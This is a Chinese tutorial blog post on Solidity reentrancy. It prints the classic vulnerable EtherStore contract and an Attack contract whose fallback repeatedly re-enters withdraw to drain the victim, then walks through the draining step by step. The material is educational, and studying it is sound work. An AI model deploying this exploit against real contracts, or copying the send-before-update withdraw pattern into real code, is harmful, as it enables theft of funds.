• 重入漏洞EtherStore


    重入漏洞

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.13;
    
    contract EtherStore {
        mapping(address => uint) public balances;
    
        function deposit() public payable {
            balances[msg.sender] += msg.value;
        }
    
        function withdraw() public {
            uint bal = balances[msg.sender];
            require(bal > 0);
    
            (bool sent, ) = msg.sender.call{value: bal}("");
            require(sent, "Failed to send Ether");
    
            balances[msg.sender] = 0;
        }
    
        // Helper function to check the balance of this contract
        function getBalance() public view returns (uint) {
            return address(this).balance;
        }
    }
    
    contract Attack {
        EtherStore public etherStore;
    
        constructor(address _etherStoreAddress) {
            etherStore = EtherStore(_etherStoreAddress);
        }
    
        // Fallback is called when EtherStore sends Ether to this contract.
        fallback() external payable {
            if (address(etherStore).balance >= 1 ether) {
                etherStore.withdraw();
            }
        }
    
        function attack() external payable {
            require(msg.value >= 1 ether);
            etherStore.deposit{value: 1 ether}();
            etherStore.withdraw();
        }
    
        // Helper function to check the balance of this contract
        function getBalance() public view returns (uint) {
            return address(this).balance;
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51

    这个被攻击的EtherStore合约,可以用来depositwithdraw以太币。withdraw函数的基本逻辑是:

    • 判断sender的余额是否大于0,是的话下一步;
    • 使用call方法给sender发送合约里属于sender所有的余额,成功发送的话下一步;
    • 将合约中属于sender的余额值清零。

    在攻击合约Attack合约中,先看attack函数,基本逻辑就是先调用deposit存入1个以太,再调用withdraw取出。然而关键的代码在fallback函数中,这个fallback函数会先检测被攻击合约EtherStore的余额,如果大于1个以太,就执行withdraw
    在这里插入图片描述
    知道这些概念后,就可以演示攻击过程了:

    • 1.假设EtherStore合约中有10个ETH的余额;
    • 2.攻击者点击attack函数,先执行deposit于是攻击者就存入了1个ETH,接下来执行withdraw,withdraw函数前两行成功通过,开始使用call函数发送属于sender(这里是Attack合约)的余额;
    • 3.Attack合约收到余额后,根据我们上图所示,先看msg.data是否为空?是;receive是否存在?否;于是进入fallback函数;
    • 4.fallback函数中,先检测EtherStore的余额,这里应当是10 - 1 = 9 Ether,通过,于是又执行withdraw;
    • 5.withdraw函数先检测前两行,(注意,这是攻击过程的关键点!)属于sender的余额为不为0呢?答案是不为0,仍然能通过,因为上次执行withdraw函数,其实还停留在call发送Ether的那一步,下一步还没有执行,EtherStore中的balance值还没有更新,因此这里还是能通过,继续执行到下一个call发送余额,这样又把合约余额发送过去了;
    • 6.Attack合约的fallback函数又开始重复withdraw,一直等到EtherStore合约中的余额为0,Attack合约的fallback函数不能通过余额检测的时候,整个提取过程才会停止。
    • 7.执行完成,被攻击合约的所有10个ETH都被发送到了被攻击合约Attack上了。

    这里的例子,Attack合约其实用receive函数也是可以的,而且合约里是可以有单独的receive函数,但是单独的fallback函数就会报warning。

  • 相关阅读:
    [Qt基础内容-08] Qt中MVC的M(Model)
    为什么HTTP/3要基于UDP?可靠吗?
    【设计模式】【第五章】【开具增值税发票】【建造者模式 + 原型模式】
    科技资讯|苹果下一代Vision Pro头显将更小更轻,预装处方镜片
    杰理之TIMER0 用默认的 PA13 来检测脉宽【篇】
    Fabric.js在vue2中使用
    VSRS4.0 安装与配置
    【imessage苹果群发苹果推】软件安装Apple证书,服务或其他方式建立任何涵盖的产品或其他代码或程序
    官媒代运营:2023年企业如何建立一个成功的品牌?
    【kafka】 | 03 | kafka、zk和cmak开机自启动
  • 原文地址:https://blog.csdn.net/weixin_44217936/article/details/134012683